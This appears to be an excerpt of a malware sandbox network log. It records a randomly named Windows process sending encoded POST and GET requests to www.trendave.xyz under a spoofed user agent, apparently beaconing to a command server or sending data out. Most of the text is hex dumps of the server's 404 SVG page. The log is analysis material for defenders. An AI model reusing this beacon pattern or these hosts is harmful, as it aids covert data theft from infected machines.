                                                                  Dec 5, 2024 14:08:59.846049070 CET1236INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                                                  Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
                                                                  Dec 5, 2024 14:08:59.846061945 CET1236INData Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d
                                                                  Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
                                                                  Dec 5, 2024 14:08:59.846187115 CET1236INData Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66
                                                                  Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
                                                                  Dec 5, 2024 14:08:59.846199036 CET896INData Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32
                                                                  Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
                                                                  Dec 5, 2024 14:08:59.846349001 CET1236INData Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20
                                                                  Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
                                                                  Dec 5, 2024 14:08:59.846359015 CET224INData Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32
                                                                  Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.0
                                                                  Dec 5, 2024 14:08:59.846369982 CET1236INData Raw: 30 33 34 32 39 2c 33 37 2e 31 38 31 35 39 20 2d 33 2e 30 36 34 31 35 34 2c 35 34 2e 38 36 30 33 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74
                                                                  Data Ascii: 03429,37.18159 -3.064154,54.86032" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4541" d="m 85.206
                                                                  Dec 5, 2024 14:08:59.846461058 CET224INData Raw: 2e 32 33 32 36 36 20 63 20 2d 35 2e 34 34 30 31 39 32 2c 31 31 2e 35 36 32 35 31 20 2d 31 30 2e 38 38 30 39 35 31 2c 32 33 2e 31 32 36 32 32 20 2d 31 35 2e 38 39 39 36 35 37 2c 33 33 2e 35 36 33 36 38 20 2d 35 2e 30 31 38 37 30 36 2c 31 30 2e 34
                                                                  Data Ascii: .23266 c -5.440192,11.56251 -10.880951,23.12622 -15.899657,33.56368 -5.018706,10.43747 -9.614414,19.74672 -11.912808,26.70033 -2.298394,6.95362 -2.298394,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.0660
                                                                  Dec 5, 2024 14:08:59.846623898 CET1236INData Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74
                                                                  Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
                                                                  Dec 5, 2024 14:08:59.966072083 CET1236INData Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65
                                                                  Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  19192.168.2.449952203.161.42.73801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:01.289030075 CET10831OUTPOST /nhcb/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 10299
                                                                  Host: www.trendave.xyz
                                                                  Origin: http://www.trendave.xyz
                                                                  Referer: http://www.trendave.xyz/nhcb/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 45 76 58 6b 43 69 62 37 69 33 61 66 78 50 6e 52 74 45 71 5a 62 4a 69 63 48 6f 33 30 75 4c 52 67 76 52 4c 4c 74 59 4f 5a 56 6b 4d 75 68 36 64 6e 6c 74 61 51 4f 67 55 41 34 46 47 33 4a 38 4b 74 44 34 45 53 58 49 47 49 4e 4b 6b 37 63 74 6e 4b 5a 71 49 32 4f 43 6e 35 6b 46 4f 75 75 74 56 78 6d 32 58 4e 7a 47 75 34 69 6f 61 4f 78 32 44 6e 57 38 50 53 59 34 4b 51 50 6d 41 38 52 72 61 7a 49 43 32 4a 45 41 4e 32 6a 41 6f 36 47 69 76 6e 32 61 30 39 68 6b 2f 48 46 68 6f 68 78 6f 4c 59 55 2b 78 45 63 79 68 4f 4d 67 6d 30 62 6a 66 33 51 51 62 46 61 2f 62 63 2f 75 76 74 52 6e 39 4c 34 6f 58 33 77 35 6e 4b 77 31 67 53 67 6d 39 4c 57 43 5a 73 58 55 65 79 4c 52 4c 2f 34 73 49 2b 66 77 6f 51 37 35 73 78 5a 55 79 79 30 4f 67 30 64 46 6e 30 55 77 52 50 30 4e 6a 6a 6b 7a 52 78 4c 2f 57 51 64 4b 71 63 30 6e 4c 36 31 34 49 42 50 52 6f 73 76 65 41 7a 6d 43 66 67 2b 49 73 6b 36 69 79 5a 76 57 5a 32 6c 52 61 77 6f 4a 4b 5a 6c 6a 39 32 31 4c 39 47 35 55 61 6d 4a 6b 6d 46 51 78 51 66 34 2b 61 31 6a 4d 36 32 66 34 45 [TRUNCATED]
                                                                  Data Ascii: -n=EvXkCib7i3afxPnRtEqZbJicHo30uLRgvRLLtYOZVkMuh6dnltaQOgUA4FG3J8KtD4ESXIGINKk7ctnKZqI2OCn5kFOuutVxm2XNzGu4ioaOx2DnW8PSY4KQPmA8RrazIC2JEAN2jAo6Givn2a09hk/HFhohxoLYU+xEcyhOMgm0bjf3QQbFa/bc/uvtRn9L4oX3w5nKw1gSgm9LWCZsXUeyLRL/4sI+fwoQ75sxZUyy0Og0dFn0UwRP0NjjkzRxL/WQdKqc0nL614IBPRosveAzmCfg+Isk6iyZvWZ2lRawoJKZlj921L9G5UamJkmFQxQf4+a1jM62f4EuSpco/FyNZmOga0dUJ0dlYjbtErFrY/3cwlnsSoujDnZ1SnwGBfp5Mh/o6DHdaMMYvmVJnzuNRO43pKELbHCn7Nu4jpCDSdzWepjYXRzu6bPbtFWhzWxXsGdlt8dfQTTmbEq7OT60YobjfWUBq40gU5gb/DjmgE+Vjl25jvmSiNzAblEV5b7MabC0+SS8ASa8OL7tAkELvFoE8UJsC+0W50ExOB9QeE94fS1nO8XIl8hpZ/ndCZVqn2+oyc+cN3qWaD8BSOfSZJ87ZJD1Dvix9Iun+WytRCFEqSzzqNgsbfA4RW/90z2zjpQdeTb7VoKB8+VxDQslDEbylahSlo9KR2w5hOZq2h029Yc8tGpU0Lt+UE5pLIGUBnodbOTRM1MS7tHh+td3kJlzXsUgXlF2h3Ca6pNu6YsUJ8BOuicI0rrKXY4TPVWgebXN4bjrtOHSRnBpPp076NyKfbkHUqhayzagFCt1P6YIugX8UbDAUf4duiL64nnUtGg3XFT3KrHU3aeBFbG4wneuQUpDReCm6brLDS2+s+ZR5AU0xpDBO3B6vEg8MaKnqiMA4hxdYQevELLUxWzX2UmNM/tInDs2hgOpXovQT5ocYycp5w7cMD+OmKeP8n+ZeGEMTGrJobsGtfQVcPQRYe7Qm+s+ejMBc12u5XbleYSI1 [TRUNCATED]
                                                                  Dec 5, 2024 14:09:02.519937992 CET1236INHTTP/1.1 404 Not Found
                                                                  Date: Thu, 05 Dec 2024 13:09:02 GMT
                                                                  Server: Apache
                                                                  Content-Length: 16052
                                                                  Connection: close
                                                                  Content-Type: text/html
                                                                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                                                  Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                                                  Dec 5, 2024 14:09:02.519953966 CET1236INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                                                  Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
                                                                  Dec 5, 2024 14:09:02.519965887 CET1236INData Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d
                                                                  Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
                                                                  Dec 5, 2024 14:09:02.520065069 CET1236INData Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66
                                                                  Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
                                                                  Dec 5, 2024 14:09:02.520082951 CET896INData Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32
                                                                  Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
                                                                  Dec 5, 2024 14:09:02.520199060 CET1236INData Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20
                                                                  Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
                                                                  Dec 5, 2024 14:09:02.520210981 CET1236INData Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32
                                                                  Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
                                                                  Dec 5, 2024 14:09:02.520338058 CET448INData Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68
                                                                  Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
                                                                  Dec 5, 2024 14:09:02.520380020 CET1236INData Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74
                                                                  Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
                                                                  Dec 5, 2024 14:09:02.520391941 CET1236INData Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65
                                                                  Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
                                                                  Dec 5, 2024 14:09:02.640073061 CET1236INData Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31
                                                                  Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  20192.168.2.449957203.161.42.73801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:04.076131105 CET463OUTGET /nhcb/?-n=Jt/EBXmNn0Xont3Uq3SrNJmrJY3M4cpFu0H2rr3BW2spn453uaHrewE12DuyPcurf4Mzbuz0WqMTaNbmObgJIgyyiHGSgJZQh0vowHWBwbWi8nXeO4OBSJo=&e018=ylo8idjP HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Connection: close
                                                                  Host: www.trendave.xyz
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Dec 5, 2024 14:09:05.229572058 CET1236INHTTP/1.1 404 Not Found
                                                                  Date: Thu, 05 Dec 2024 13:09:05 GMT
                                                                  Server: Apache
                                                                  Content-Length: 16052
                                                                  Connection: close
                                                                  Content-Type: text/html; charset=utf-8
                                                                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                                                  Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                                                  Dec 5, 2024 14:09:05.229605913 CET1236INData Raw: 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34
                                                                  Data Ascii: /linearGradient> </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
                                                                  Dec 5, 2024 14:09:05.229636908 CET1236INData Raw: 37 39 20 2d 30 2e 35 39 35 32 33 33 2c 2d 31 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34
                                                                  Data Ascii: 79 -0.595233,-18.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;str
                                                                  Dec 5, 2024 14:09:05.229737997 CET1236INData Raw: 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 30 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c
                                                                  Data Ascii: width="100.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /
                                                                  Dec 5, 2024 14:09:05.229785919 CET896INData Raw: 38 2e 36 36 36 33 31 20 31 2e 32 34 39 39 32 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32
                                                                  Data Ascii: 8.66631 1.249922,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000
                                                                  Dec 5, 2024 14:09:05.229804993 CET1236INData Raw: 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e
                                                                  Data Ascii: ke-opacity:1;" /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.6665
                                                                  Dec 5, 2024 14:09:05.229818106 CET1236INData Raw: 30 32 31 2c 31 31 2e 31 31 30 35 32 20 30 2e 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e
                                                                  Data Ascii: 021,11.11052 0.943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.00342
                                                                  Dec 5, 2024 14:09:05.229830980 CET448INData Raw: 30 30 30 34 39 20 33 2e 37 31 32 30 30 35 2c 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30
                                                                  Data Ascii: 00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.232
